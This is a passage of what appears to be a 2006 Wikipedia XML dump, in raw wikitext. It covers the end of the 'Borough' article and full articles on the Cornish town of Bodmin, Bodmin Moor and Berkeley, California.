From [[1265]], two burgesses from each borough were summoned to the [[Parliament of England]], alongside two [[knights]] from each [[county]].  Representation in the [[House of Commons]] was decided by the House itself, which resulted in many cases of a borough being represented in Parliament despite it having no corporation or mayor (or vice versa).

By the [[19th century]] the population changes brought about by the [[Industrial Revolution]] had created a situation in which a major conurbation might have no representation in Parliament, whilst towns which had declined in size to mere villages still retained their seat.  Additionally, the electoral franchise varied from borough to borough, some of which had become [[rotten borough]]s.  

The [[Reform Act 1832]] sought to rationalise this system to some extent, as well as eliminating corrupt practices.  Many boroughs, some of which existed in little more than name, were disenfranchised, whilst some of the industrial towns which had developed in the [[North of England|North]] came to be represented in Parliament for the first time.

Subsequent Reform Acts gave more parliamentary seats to the expanding boroughs, whilst disenfranchising the smaller ones.  From [[1884]], voters in county and borough seats had the same franchise, so the distinction between the two was essentially eliminated; however, on the assumption that the smaller, urban boroughs would require less travelling for electoral candidates than in the larger, more rural county seats, the distinction between the two sorts of constituency was retained for the purposes of calculating maximum permitted electoral expenses.

====Metropolitan boroughs====
In [[1899]], as part of a reform of local government in the County of [[London]], the various parishes in the county were reorganised as a new entity, the '''metropolitan borough'''.  These became reorganised as London Boroughs in a subsequent reform, in [[1965]].

As part of the [[1974]] reform of local government in England, six major urban areas were established as &quot;metropolitan counties&quot;, subdivided into &quot;metropolitan districts&quot;.  A number of those districts over time were granted the dignity of &quot;borough&quot;, and thus became known as a '''metropolitan borough'''.

===New Zealand===
[[New Zealand]] formerly used the term borough to designate self-governing towns of more than 1,000 people. A borough of more than 20,000 people could become a [[city]] by proclamation. Boroughs and cities were collectively known as municipalities, and were [[enclave]]s separate from their surrounding counties.

In the 1980s some boroughs and cities began to be merged with their surrounding counties to form [[district]]s with a mixed urban and rural population. In [[1989]] a nationwide reform of local government completed the process. Counties and boroughs were abolished and all boundaries were redrawn. Under the new system, most territorial authorities cover both urban and rural land. The more populated councils are classified as cities, and the more rural councils are classified as districts. Only [[Kawerau]] District, an enclave within [[Whakatane]] District, continues to follow the tradition of a small town council that does not include surrounding rural area.

==Borough as a place name==
There is a neighbourhood in the [[London Borough of Southwark]] simply called [[The Borough]], south of London Bridge across the Thames from the [[City of London|City]].  There are several villages in England, such as those in [[Cumbria]] and the [[East Riding of Yorkshire]], called Brough, pronounced {{IPA|[b&amp;#633;&amp;#652;f]}}.

[[El Burgo de Osma|El Burgo]] in Spain is across the river Ucero from the smaller City of Osma; also in Spain lies the city of [[Burgos]]. See also below under the places mentioned in the next section on Etymology.

==Etymology==
The [[word]] '''borough''' has [[cognates]] in other [[Germanic languages]].  For example, ''burgh'' in [[Scots language|Scots]], ''burg'' in [[German language|German]], and ''borg'' in both [[Danish language|Danish]] and [[Swedish language|Swedish]]; the equivalent word is also to be found in [[Frisian language|Frisian]], [[Dutch language|Dutch]], [[Norwegian language|Norwegian]], and [[Icelandic language|Icelandic]].

The [[English language|English]] ''borough'' and the [[Scots language|Scots]] ''[[burgh]]'' are derived from the [[Old English language|Old English]] word ''burh'' (with dialectal variants including ''burg'', ''beorh'', ''beorg'', and ''byrig'').  The Old English word was originally used for a fortified town, and was related to the verb ''beorgan'' (cf. Dutch and German ''bergen''), meaning &quot;to keep, save, make secure&quot;.

A number of other [[Europe]]an languages have cognate words which were borrowed from the Germanic languages during the [[Middle Ages]], including ''brog'' in [[Irish language|Irish]], ''bwr'' or ''bwrc'', meaning &quot;wall, rampart&quot; in [[Welsh language|Welsh]], ''bourg'' in [[French language|French]], ''borgo'' in [[Italian language|Italian]], and ''burgo'' in [[Spanish language|Spanish]] (hence the place-name [[Burgos]]).

Also related are the words ''bourgeois'' and ''belfry'' (both from the French), and ''burglar''; more distantly, it is related to words meaning &quot;hill&quot; or &quot;mountain&quot; in a number of languages (cf. the second element of ''[[iceberg]]'').

==See also==
* [[Boroughs incorporated in England and Wales 1835 - 1882]]
* [[Boroughs incorporated in England and Wales 1882 - 1974 ]]
* [[Burgh]]
* [[List of burghs in Scotland]]
* [[Political subdivisions of New York State#Borough|Boroughs in New York City]]


{{Subnational entity}}

[[Category:Subnational entities]]
[[Category:Boroughs| ]]
[[Category:Local government of the United Kingdom]]
[[de:Borough]]
[[fr:Borough]]
[[it:Borough]]
[[nl:Borough]]
[[pt:Borough]]
[[zh:自治城镇]]</text>
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  </page>
  <page>
    <title>Bodmin</title>
    <id>4858</id>
    <revision>
      <id>41896825</id>
      <timestamp>2006-03-02T13:15:48Z</timestamp>
      <contributor>
        <username>Geof Sheppard</username>
        <id>845597</id>
      </contributor>
      <comment>More on railways</comment>
      <text xml:space="preserve">{{GBmap|Bodmin - Cornwall|SX074667}}
'''Bodmin''' is a [[town]] in [[Cornwall]] in the [[United Kingdom]], with a population of 12,778 (2001 census). It was formerly the [[county town]] of Cornwall, but that is now [[Truro]].

Bodmin lies in the centre of the county, along the western edge of [[Bodmin Moor]]. [[Saint Petroc|St. Petroc]] founded a priory here in the [[6th century]]; he gave the alternate name to Bodmin which is ''Petrockstow''. Bodmin is one of the oldest towns in the county, and the only Cornish settlement of size recorded in the Domesday Book of the late 11th century. In the [[15th century]] the Norman church of St. Petroc was heavily rebuilt and stands as one of the largest churches in Cornwall. Also built at that time was an abbey, now mostly ruined. For most of Bodmin's history, the [[tin]] industry was a mainstay of the economy.

It has been suggested that the town's name comes from an archaic word in the [[Cornish language|Cornish]] &quot;bod&quot; (meaning a dwelling; the later word is &quot;bos&quot;) and a contraction of &quot;menegh&quot; (monks). This speculation is both unproven and unprovable since the name is also thought to predate the institution of the monastery which is popularly supposed to support it; it may however refer to an earlier monastic settlement instituted by [[Saint Guron|St. Guron]], which St. Petroc took as his site.

[[Bodmin Parkway railway station]] is served by main line trains and is situated on the [[Great Western Main Line]] about 3.5 miles south-east from the town centre.  A [[heritage railway]], the [[Bodmin and Wenford Railway]], runs from Bodmin Parkway station via [[Bodmin General railway station]] to Boscarne Junction where there is convenient access to the [[Camel Trail]].. 

[[Bodmin Gaol]], now a semi-ruin was built in the late 18th century, and was the first British prison to hold prisoners in separate cells (though often up to 10 at a time) rather than communally.  This grim place was also site of Britain's last public hanging in 1809. Also, during the [[First World War]] the prison was deemed worthy to hold some of Britain's priceless national treasures including the [[Domesday Book]] and the [[Crown Jewels]].

Other buildings of interest include the former [[Shire Hall]], now a tourist information centre, and the Regimental Barracks of the now defunct [[Duke_of_Cornwall%27s_Light_Infantry|Duke Of Cornwall's Light Infantry]], now a regimental museum.

[[Category:Towns in Cornwall]]
[[kw:Bosvenegh]]
[[pl:Bodmin]]</text>
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  </page>
  <page>
    <title>Bodmin Moor</title>
    <id>4859</id>
    <revision>
      <id>40979090</id>
      <timestamp>2006-02-24T06:36:03Z</timestamp>
      <contributor>
        <username>Betacommand</username>
        <id>509520</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:The_Cheesewring_2.jpg|thumb|right|200px|The Cheeswring, a granite tor on the southern edge of Bodmin Moor (Photo by Mick Knapton)]]
'''Bodmin Moor''' is a [[granite]] [[heath (habitat)|moorland]] in northeastern [[Cornwall]], [[United Kingdom|UK]], 208 km&amp;sup2; in size, dating from the [[Carboniferous]] period of [[geology|geological]] history.

Dramatic [[granite]] [[tor]]s rise from the rolling moorland.  During the [[Bronze Age]],  Bodmin Moor was densely populated and now many prehistoric stone [[tumulus|barrow]]s and [[stone circle|circles]] lie scattered across the moor.  Today it is thinly populated aside from the small village of [[Bolventor]].  On the southern slopes of the moor lies Dozmary Pool, where according to [[King Arthur|Arthurian]] legend [[Sir Bedivere]] threw [[Excalibur]] to [[The Lady of the Lake]]. 

Bodmin Moor has been officially designated an [[Area of Outstanding Natural Beauty]] (AONB), as part of Cornwall AONB.

The highest point is [[Brown Willy]] at 420 m (1378 ft), also the highest point in [[Cornwall]].

Wetland sites on the moor include Colliford Lake, a large reservoir and Dozmary Pool.

==See also==
*[[Beast of Bodmin]]
*[[Cornwall]]
*[[Geology of the United Kingdom]]

==External links==
* [http://www.cornwall365.co.uk/cornwall/places,12,Bodmin-Moor.html Photos of Bodmin Moor]
* [http://www.countryside.gov.uk/LivingLandscapes/finest_countryside/aonbs/aonb_cornwall.asp Cornwall AONB]

[[Category:Arthurian legend]]
[[Category:Hills of Cornwall]]

[[kw:Goen Brenn]]</text>
    </revision>
  </page>
  <page>
    <title>Berkeley, California</title>
    <id>4860</id>
    <revision>
      <id>42150341</id>
      <timestamp>2006-03-04T03:45:25Z</timestamp>
      <contributor>
        <username>Tmangray</username>
        <id>959486</id>
      </contributor>
      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">[[image:berkeleyfromclaremont800x600.jpg|thumbnail|280px|Berkeley as seen from the [[Claremont Canyon Regional Preserve]].]]

'''Berkeley''' is a city on the east shore of [[San Francisco Bay]] in [[Northern California|northern]] [[California]], in the [[United States]]. Its neighbors to the south are the cities of [[Oakland, California]] and [[Emeryville, California]].  To the north is the city of [[Albany, California|Albany]] and the unincorporated [[Kensington, California| Kensington]]. The eastern city limits coincide with the county line which generally follows the ridgeline of the Berkeley Hills. Berkeley is located in [[Alameda County, California|Alameda County]].

Berkeley is the site of the [[University of California, Berkeley]], the flagship campus of the [[University of California]], and the [[Lawrence Berkeley National Laboratory]], [[Lawrence Hall of Science]], [[Space Sciences Laboratory]], and [[Mathematical Sciences Research Institute]], which are on the campus grounds.  Adjacent to the University campus is the [[Graduate Theological Union]].

[[Image:Berkeley in Alameda County.png|thumb|right|280px|The City of Berkeley highlighted within [[Alameda County]].]]


==History==

The site of today's City of Berkeley was the territory of the Chochen/Huichin band of the [[Ohlone]] people when the first Europeans arrived.  Remnants of their existence in the area include pits in various rock formations which were used to grind acorns from native [[oak]] trees, and a [[shellmound]] now mostly leveled and covered up along the shoreline of [[San Francisco Bay]] at the mouth of [[Strawberry Creek]].  Other artifacts were discovered in the 1950's in the downtown area during the remodeling of a commercial building, near the course of the same Strawberry Creek.

The first people of European ancestry (most of whom were actually of mixed ancestry and born in America) arrived with the [[De Anza Expedition]] of 1776, which is today noted by signage on U.S. [[Interstate 80]] which runs along the San Francisco Bay shoreline of Berkeley.

The De Anza Expedition resulted in the establishment of the Spanish [[Presidio of San Francisco]] at the entrance to San Francisco Bay (the &quot;[[Golden Gate]]&quot;) which is due west of Berkeley.  Among the soldiers serving at the Presidio was one [[Luís María Peralta|Luís Peralta]].  For his services to the [[King of Spain]], he was granted a vast extent of land on the east shore of San Francisco Bay (the &quot;contra costa&quot;) for a ranch, including that portion which now comprises the City of Berkeley.

Luis Peralta named his holding &quot;[[Rancho San Antonio (Peralta Grant)|Rancho San Antonio]]&quot;. The primary activity of the ranch was the raising of cattle for meat and hides, but hunting and farming were also pursued.  Eventually, he gave portions of his ranch to each of his four sons.  Most of the portion that is now Berkeley was the domain of his son Domingo, the rest being held by his son Vicente.  No artifact survives of the ranches of Domingo or Vicente, although their names have been preserved in the naming of Berkeley streets (Vicente, Domingo, and Peralta).  However, the legal title to all land in the City of Berkeley remains based on the original Peralta land grant.

The Peraltas' Rancho San Antonio continued after [[Alta California]] passed from Spanish to Mexican sovereignty as a result of the [[Mexican War of Independence]].

However, the advent of U.S. sovereignty as a result of the [[Mexican War]], and especially, the [[Gold Rush]], saw the Peralta's lands quickly encroached on by squatters and diminished by dubious legal proceedings.  The lands of the brothers Domingo and Vicente were quickly reduced to reservations close to their respective ranch homes.  The rest of the land was surveyed and parceled out to various American claimants.

Politically, the area that became Berkeley was initially part of a vast [[Contra Costa County]], but shortly, Alameda County was created by division of Contra Costa County.

The area of Berkeley was at this period mostly a mix of open land, farms and ranches, with a small though busy wharf by the Bay.  It was not yet &quot;Berkeley&quot;, but merely the northern part of the &quot;Oakland Township&quot; subdivision of Alameda County.

In [[1866]], the private [[College of California]] located in the city of Oakland sought out a new site.  They picked a location north of Oakland along the foot of the Contra Costa Hills (later called the Berkeley Hills) astride Strawberry Creek, and at about an elevation of 500 feet above the Bay, commanding a fantastic view of the Bay Area and the Pacific Ocean through the Golden Gate.

According to the ''Centennial Record of the University of California'', &quot;In 1866...at [[Founders' Rock]], a group of College of California men were watching two ships standing out to sea through the [[Golden Gate]]. One of them, Frederick Billings, was reminded of the lines of [[George Berkeley|Bishop Berkeley]], 'westward the course of empire takes its way,' and suggested that the town and college site be named for the eighteenth-century British philosopher and poet.&quot;

The College of California's &quot;College Homestead Association&quot; laid out a plat and street grid which became the basis of Berkeley's modern street plan.  Their plans to raise funds though fell far short of their desires, and collaboration was then begun with the State of California, culminating in [[1868]] with the creation of the public [[University of California]].

As construction began on the new site, more residences began to be constructed in the vicinity of the new campus.  At the same time, a settlement of residences, saloons, and various industries had also been growing up around the wharf on the bayshore called &quot;Ocean View&quot;.

By the 1870's the [[Transcontinental Railroad]] had reached its terminus in Oakland.  In [[1876]], a branch line of the [[Central Pacific Railroad]] was laid from Oakland into what is now downtown Berkeley.  That same year, the main line of the transcontinental railroad into Oakland was re-routed, putting the right-of-way along the bayshore through Ocean View.

In [[1878]], the people of Ocean View and the area around the University campus, together with the local farmers incorporated themselves as the Town of Berkeley.  The first elected trustees of the Town were the slate of the [[Workingman's Party]] who were particularly favored in the working class area of the former Ocean View, now called &quot;West Berkeley&quot;.  The area near the University became known as &quot;East Berkeley&quot;.

The modern age came quickly to Berkeley, no doubt due to the influence of the University.  [[Electric light]]s were in use by [[1888]].  The [[telephone]] had already come to town.  Electric [[streetcar]]s soon replaced the [[horsecar]].  A silent film of one of these early streetcars in Berkeley can be seen at the [[Library of Congress]] website: [http://memory.loc.gov/cgi-bin/query/D?papr:8:./temp/~ammem_6OV4::@@@mdb=mcc,gottscho,detr,nfor,wpa,aap,cwar,bbpix,cowellbib,calbkbib,consrvbib,bdsbib,dag,fsaall,gmd,pan,vv,presp,varstg,suffrg,nawbib,horyd,wtc,toddbib,mgw,ncr,ngp,musdibib,hlaw,papr,lhbumbib,rbpebib,lbcoll,alad,hh,aaodyssey,magbell,bbcards,dcm,raelbib,runyon,dukesm,lomaxbib,mtj,gottlieb,aep,qlt,coolbib,fpnas,aasm,scsm,denn,relpet,amss,aaeo,mffbib,afc911bib,mjm,mnwp,rbcmillerbib,molden,ww2map,hawp,omhbib,rbaapcbib,mal,ncpsbib,ncpm,lhbprbib,ftvbib,afcreed,aipn,cwband,flwpabib,wpapos,cmns,psbib,pin,coplandbib,cola,tccc,curt,mharendt,lhbcbbib,eaa,haybib,mesnbib,fine,cwnyhs,svybib,mmorse,afcwwgbib,mymhiwebib,uncall,mfd,afcwip,mtaft,manz,llstbib,fawbib,berl,fmuever,cdn,upboverbib,mussm,cic,afcpearl,awh,awhbib,sgp,wright,lhbtnbib,afcesnbib,hurstonbib,mreynoldsbib,spaldingbib,sgproto|&quot;A Trip To Berkeley, California&quot;]

Berkeley's slow growth ended abruptly with the [[1906 San Francisco Earthquake|Great San Francisco Earthquake of 1906]].  The city and other parts of the East Bay somehow managed to escape even moderate damage from the massive temblor, and hundreds if not thousands of refugees flowed across the Bay.  Rapid growth continued right up to the [[Crash of 1929]].  The [[Great Depression]] hit Berkeley hard, but not as hard as many other places in the U.S. thanks in part to the University.

The next big growth occurred with the advent of [[World War II]] when large numbers of people moved into the Bay Area to work in the many war industries.  One who moved out, but played a big role in the outcome of the War was U.C. Professor and Berkeley resident [[J. Robert Oppenheimer]].  

The postwar years saw moderate growth of the City, but events on the U.C. campus began to build up to the recognizeable activism of the sixties.  In the 1950's, [[McCarthyism]] induced the University to demand a loyalty oath from its professors, many of whom refused to sign any such oath on the principle of freedom of thought.  In 1960, a U.S. House committee ([[HUAC]]) came to San Francisco to investigate the influence of communists in the Bay Area.  Their inquisition was met by protestors, including many from the University.  Meanwhile, a number of U.C. students became active in support of the [[Civil Rights Movement]].  Finally, the University in [[1964]] provoked a massive student protest by banning the distribution of political literature on campus.  This protest became known as the [[Free Speech Movement]].  As the [[Vietnam War]] rapidly escalated in the ensuing years, so did student activism 
at the University.

Perhaps the crowning event of the Berkeley Sixties scene was the conflict over a parcel of University property south of the contiguous campus site which came to be called &quot;[[People's Park]]&quot;.
  
[[image:People's-Park.jpg|thumbnail|left|300px|People's Park with high-rise student housing in the background]]

The battle over the disposition of People's Park resulted in a month-long occupation of Berkeley by the [[National Guard]] on orders of then-Governor [[Ronald Reagan]].  In the end, the park remained undeveloped, and remains so today.  A spin-off &quot;People's Park Annex&quot; was established at the same time by activist citizens of Berkeley on a strip of land above the [[Bay Area Rapid Transit]] subway construction along Hearst Avenue northwest of the U.C. campus.  The land had also been intended for development, but was peacefully turned over to the City and is now [[Ohlone Park]].

The era of large public protest in Berkeley waned considerably with the end of the Vietnam War in 1974.  But activist politics continued.  One person who rose in prominence during the late sixties and into the seventies was [[Ron Dellums]], nephew of [[C.L. Dellums]], an African American labor leader.  He first served on the Berkeley City Council, and later became a Congressman for the district which includes Berkeley.

The seventies saw a decline in the population of Berkeley.  People left for various reasons, some moving to the suburbs, some because of the rising cost of living throughout the Bay Area, and others  because of the decline and disappearance of many industries in West Berkeley.

The period from the 1980's right up to the present has been marked by a continuation of rising costs, particularly with respect to housing, especially since the mid-1990's.  In 2005-2006, sales of homes appear to finally be slowing, but the price of an average home is still among the highest in the nation.

Population by decade:
*[[1890]] - 5,101
*[[1900]] - 13,214
*[[1910]] - 40,434
*[[1920]] - 56,036
*[[1930]] - 82,109
*[[1940]] - 85,547
*[[1950]] - 113,805
*[[1960]] - 111,268
*[[1970]] - 116,716
*[[1980]] - 103,328
*[[1990]] - 102,724
*[[2000]] - 102,743

== Geography ==
[[Image:CAMap-doton-Berkeley.png|right|Location of Berkeley, California]]Berkeley is located at 37°52'18&quot; North, 122°16'29&quot; West (37.871775, -122.274603){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 45.9 [[square kilometre|km²]] (17.7 [[square mile|mi²]]).  27.1 km² (10.5 mi²) of it is land and 18.8 km² (7.2 mi²) of it is water.  The total area is 40.94% water.

Berkeley borders the cities of Albany, Oakland, and Emeryville and unincorporated Contra Costa County including Kensington as well as San Francisco Bay.

==Geology==
Most of Berkeley lies on a rolling sedimentary plain, rising gently from sea level to the base of the [[Berkeley Hills]].  From there, the land rises dramatically.  The highest peak along the ridgeline above Berkeley is [[Grizzly Peak (Berkeley Hills)|Grizzly Peak]], elevation 1,754 feet (535 m).  A number of small creeks run from the hills to the Bay through Berkeley: Codornices, Schoolhouse, Marin and [[Strawberry Creek| Strawberry]] are the principal streams.  Most of these are largely culverted below the hills.

The Berkeley Hills are part of the [[Pacific Coast Ranges]], and run in a northwest-southeast alignment.  In Berkeley, the hills consist mainly of a soft rock with outcroppings of harder material of old (and extinct) volcanic origin.  Some of these rhyolite formations can be seen in several city parks and in the yards of a number of private residences.  One such park is [[Indian Rock Park]] in the northeastern part of Berkeley near the Arlington/Marin Circle.
 
Berkeley is traversed by the [[Hayward Fault]], a major branch of the [[San Andreas Fault]] to the west.  No large earthquake has occurred on the Hayward Fault near Berkeley in historic times, but seismologists warn about the geologic record of large temblors several times in the deeper past, and their current assessment is that a quake of 6.5 or greater is imminent, sometime in the next 30 years.

In 1868, a large earthquake did occur on the southern segment of the Hayward Fault in the vicinity of today's city of [[Hayward, California|Hayward]] (hence, how the fault got its name).  This quake destroyed the county seat of Alameda County, which was then moved to Oakland.  It was strongly felt in San Francisco, causing major damage, and waking up one Samuel Clemens a.k.a. [[Mark Twain]].  It was regarded as the &quot;Great San Francisco Quake&quot; prior to 1906.  The quake produced a furrow in the ground along the faultline in Berkeley, across the grounds of the new School for the Blind which was noted by one early University of California professor.

Today, the Hayward Fault can be seen &quot;creeping&quot; at various locations in Berkeley, although since it cuts across the base of the hills, this creep is typically concealed by and confused with slide activity.  Some of this slide activity however is itself the result of the Hayward Fault's slow movement.  Springs and sharp perpendicular jogs of streams are another sign of the fault's location and movement.

One notorious segment of the Hayward Fault runs right down the middle of Memorial Stadium at the mouth of Strawberry Canyon on the campus of the University of California.

==Climate==
Berkeley shares the cool type of [[Mediterranean climate]] with the rest of the Bay Area.  This means dry summers and wet winters as in the Mediterranean region, but with a cool modification in summer thanks to [[upwelling]] ocean currents along the California coast.

Night and morning fog (actually, ocean [[stratus]]-it rarely actually touches the ground, except in the hills) with sunny afternoons are the characteristic summertime weather.

Winter is punctuated with storms of varying ferocity and duration, but also produces stretches of bright sunny days and clear cold nights.  Snowfall is extremely rare in most locations, but the hilltops get an occasional dusting.  One favored spot when it does snow is along Grizzly Peak Boulevard adjacent to the Miniature Train Ride.

Spring and fall are transitional and intermediate, with some rainfall and variable temperature.

The warmest weather in Berkeley occurs in spring and fall.  Strong offshore winds of sinking air typically develop, bringing heat and dryness to the area.  In spring, this is usually not a hazard since vegetation is still moist from winter rains, but in the fall, the danger of fire is excessive.  In September [[1923]] a major fire swept through the [[Northside]] of Berkeley, stopping just short of downtown.  On October 21, 1991, gusty hot winds fanned a conflagration along the Berkeley-Oakland border, killing 25 people and injuring 150, as well as destroying 2,449 single-family dwellings and 437 apartment and condominium units.  (See &quot;[[East Bay Hills Firestorm]]&quot;).

== Demographics ==
[[Image:Telegraph-Ave-Berkeley.jpg|thumbnail|300px|Street fair on Telegraph Avenue]]

The city's population is culturally diverse, with a significant portion in transient residence attending UC Berkeley. As of the [[census]]{{GR|2}} of [[2000]], there are 102,743 people, 44,955 households, and 18,656 families residing in the city.  The [[population density]] is 3,792.5/km² (9,823.3/mi²), one of the highest in California.  There are 46,875 housing units at an average density of 1,730.3/km² (4,481.8/mi²).  The racial makeup of the city is 59.17% [[Race (U.S. census)|White]], 13.63% [[Race (U.S. census)|Black]] or [[Race (U.S. census)|African American]], 0.45% [[Race (U.S. census)|Native American]], 16.39% [[Race (U.S. census)|Asian]], 0.14% [[Race (U.S. census)|Pacific Islander]], 4.64% from [[race (U.S. census)|other races]], and 5.57% from two or more races.  9.73% of the population are [[Race (U.S. census)|Hispanic]] or [[Race (U.S. census)|Latino]] of any race.

There are 44,955 households out of which 17.8% have children under the age of 18 living with them, 28.9% are [[Marriage|married couples]] living together, 9.5% have a female householder with no husband present, and 58.5% are non-families. 38.1% of all households are made up of individuals and 7.9% have someone living alone who is 65 years of age or older.  The average household size is 2.16 and the average family size is 2.84.

In the city the population is spread out with 14.1% under the age of 18, 21.6% from 18 to 24, 31.8% from 25 to 44, 22.3% from 45 to 64, and 10.2% who are 65 years of age or older.  The median age is 32 years.  For every 100 females there are 96.5 males.  For every 100 females age 18 and over, there are 95.1 males.

The median income for a household in the city is $44,485, and the median income for a family is $70,434. Males have a median income of $50,789 versus $40,623 for females. The [[per capita income]] for the city is $30,477.  20.0% of the population and 8.3% of families are below the [[poverty line]].  Out of the total population, 13.4% of those under the age of 18 and 7.9% of those 65 and older are living below the poverty line.

==Transportation==
Berkeley is served by [[Amtrak]], [[AC Transit]], [[Bay Area Rapid Transit|BART]] ([[Downtown Berkeley Station]], [[North Berkeley (BART)|North Berkeley]], and [[Ashby Station]]) and bus shuttles operated by major employers including [[University of California, Berkeley|UC Berkeley]] and [[Lawrence Berkeley National Laboratory]].  The only major freeway is [[Interstate 80]]. Each day there is an influx of thousands of cars into the city by commuting UC faculty, staff and students, making parking for more than a few hours an expensive proposition.

Berkeley has one of the highest rates of [[bicycle]] and pedestrian commuting in the nation. Berkeley is the safest city of its size for pedestrians and cyclists, a fact attributed to a [http://www.tsc.berkeley.edu/html/newsletter/Spring04/syntax.html| safety in numbers] effect, according to recent research.

Berkeley has modified its original grid roadway structure through use of diverters and barriers, moving most traffic out of neighborhoods and onto arterial streets (visitors often find this confusing, because the diverters are not shown on all maps). Berkeley maintains a separate grid of arterial streets for bicycles, called [[Bicycle Boulevards]], with bike lanes and lower amounts of car traffic than the major streets to which they often run parallel.

Berkeley hosts a [[car sharing]] network run by [http://www.citycarshare.org/ City CarShare].  Rather than owning (and parking) their own cars, members share a group of cars parked nearby.  Online reservation systems keep track of hours and charges.

* '''Transportation Past'''
The first commuter service to San Francisco was provided by the [[Central Pacific]]'s Berkeley Branch Railroad, a standard gauge [[steam railroad]] which ran from the Oakland ferry pier to downtown Berkeley starting in 1876.  This line was extended from Shattuck and University to Vine Street (&quot;Berryman's Station&quot;) in 1878.  In the 1880's, [[Southern Pacific]] assumed operations of the Berkeley Branch.  In [[1911]], Southern Pacific electrified this line and the several others it constructed in Berkeley, creating its [[East Bay Electric Lines]] division.  The huge and heavy cars specially built for these lines came to be called the &quot;Big Red Trains&quot;.  The Shattuck line was extended and connected with two other Berkeley lines (the Ninth Street Line and the California Street line) at Solano and Colusa (the &quot;Colusa Wye&quot;).  It was at this time that the Northbrae Tunnel and the Rose Street Undercrossing were constructed, both of which still exist.  The last Red Trains ran in 1941. 

The first electric rail service in Berkeley was provided by several small [[streetcar]] companies starting in the late 1800's.  Most of these were eventually bought up by the [[Key System]] of [[&quot;Borax&quot; Smith]] who added lines and improved equipment.  The Key System's streetcars were operated by its East Bay Street Railways division.  Principal lines in Berkeley ran on Euclid, The Arlington, College, Telegraph, Shattuck, and Grove (today's Martin Luther King Jr. Way).  The last streetcars ran in [[1948]].

The first electric commuter interurban-type trains to San Francisco from Berkeley were put in operation by the Key System in [[1910]], a year before the Southern Pacific electrified its steam commuter lines.  Like the SP, Key trains ran to a pier serviced by the Key's own fleet of ferryboats which also docked at the Ferry Building in San Francisco.  After the [[Bay Bridge]] was built, the Key trains ran to the [[Transbay Terminal]] in San Francisco, sharing tracks on the lower deck of the Bay Bridge with the SP's red trains and the [[Sacramento Northern]] Railroad.  It was at this time that the Key trains acquired their letter designations, which were later preserved by Key's public successor, AC Transit.  Today's F bus is the successor of the F train.  Likewise, the E, G and the H.  Before the Bridge, these lines were simply the Shattuck Avenue Line, the Claremont Line, the Westbrae Line, and the Sacramento Street Line, respectively.

After the Southern Pacific abandoned transbay service in 1941, the Key System acquired the rights to use its tracks and overhead on Shattuck north of University and through the Northbrae Tunnel to The Alameda for the F-train, and also the tracks along Monterey Avenue as far as Colusa for the H-train.  The Key System trains stopped running in April of 1958.

The Northbrae Tunnel was opened to auto traffic four years later in [[1962]].

== Mayors ==
[http://www.cityofberkeley.info/mayor/ City of Berkeley Mayor's Office]
* [[Tom Bates]], Mayor of Berkeley (elected 2002), married to California State Assemblymember and former Berkeley Mayor Loni Hancock
* [[Shirley Dean]], mayor 1994-2002
* [[Loni Hancock]], mayor 1986-1994, currently representing [http://democrats.assembly.ca.gov/members/a14/ California State Assembly District 14], the East Bay Area, married to Berkeley Mayor and former California State Assemblymember of District 14  [[Tom Bates]]

== Sister Cities ==

Berkeley has declared the following [[Sister City]] relationships:
*Blackfeet Nation, California, United States	 
*Haidian District, Beijing, China	 
*Jena, Thueringen, Germany	 
*Ulan-Ude, Buryatiya (Ulan-Ude), Russia	 
*Yurok Tribe, California, United States	 
*Uma-Bawang, Malaysia	 
*Sakai, Osaka, Japan	 
*San Antonio Los Ranchos, Chalatenango, El Salvador	 
*Oukasie, South Africa	 
*Yondó, Antioquia, Colombia	 
*Palma Soriano, Santiago de Cuba, Cuba	 
*Leon, Leon, Nicaragua

== Notable Berkeley residents past and present ==
*[[Ben Affleck]] - actor
*[[Tim Armstrong]] - member of [[punk rock]] bands  [[Rancid]] and [[Operation Ivy band|Operation Ivy]]
*[[Les Blank]] - documentary filmmaker
*[[David Brower]] - environmentalist
*[[Michael Chabon]] - author
*[[Francis Ford Coppola]] - [[filmmaker]] and [[vintner]]
*[[Robert Crumb]] - cartoonist
*[[Robert Culp]] - actor
*[[Philip K. Dick]] - author
*[[Adam Duritz]] - musician
*[[Daniel Ellsberg]] - military analyst
*[[John Fogerty]] - singer/songwriter
*[[Matt Freeman]] - member of [[punk rock]] bands [[Rancid]] and [[Operation Ivy band|Operation Ivy]] 
*[[Terry Garthwaite]] - singer/songwriter and founding member of folk-rock band [[Joy of Cooking band|Joy of Cooking]]
*[[Allen Ginsberg]] - poet
*[[Whoopi Goldberg]] - actress and comedian
*[[Wavy Gravy]] - activist and 1960s [[counterculture]] icon
*[[Davey Havok]] - singer for [[AFI band|AFI]]
*[[Patty Hearst]] - newspaper heiress and kidnap victim
*[[Gregory Hoblit]] - film and television director
*[[Ken Hom]] - chef
*[[David Horowitz]] - 1960s radical turned [[conservative]] activist
*[[Ishi]], last of the [[Yahi]]
*[[Pauline Kael]] - movie critic
*[[Theodore Kaczynski]] - ''aka'' the [[Unabomber]]
*[[Ursula K. Le Guin]] - author
*[[Marion Zimmer Bradley]] - author
*[[Phil Lesh]] - former [[Grateful Dead]] bassist
*[[George Lucas]] - [[filmmaker]]
*[[Andrew Martinez]] - social activist
*[[Country Joe McDonald]] - [[Singer-songwriter|Singer/Songwriter]]
*[[Roger Montgomery]] - urban designer, city planner, architect, Dean [[University of California, Berkeley]]
*[[Norman Mineta]] - U.S. [[Transportation Secretary]]
*[[Gordon Moore]] - co-founder of [[Intel]]
*[[Huey P. Newton]] - [[Black Panther Party]]
*[[Frank Norris]] - author of ''The Octopus''
*[[Chester Nimitz|Adm. Chester Nimitz]] - WWII commander of U.S. Pacific forces
*[[Robert Oppenheimer]] - scientist and head of the [[Manhattan Project]]
*[[John Linton Roberson]] - underground writer/cartoonist
*[[Freddie Roulette]] - blues guitarist, lap steel
*[[Andy Samberg]] - [[SNL]] comedian
*[[Mario Savio]] - 1960s Free Speech Movement icon
*[[George R. Stewart]] - author of the novels ''Earth Abides'' and ''Storm'' 
*[[Edward Teller]] - nuclear physicist, thermonuclear weapons
*[[Lars Ullrich]] - [[Metallica]] drummer
*[[Alice Waters]] -[[restaurateur]]
*[[Pete Wilson]] - former [[governor]] of [[California]]
*[[Saul Zaentz]] - film producer
*[[Billie Joe Armstrong]]- lead singer and guitarist of [[Green Day]]




See also these lists of notable people associated with the University:
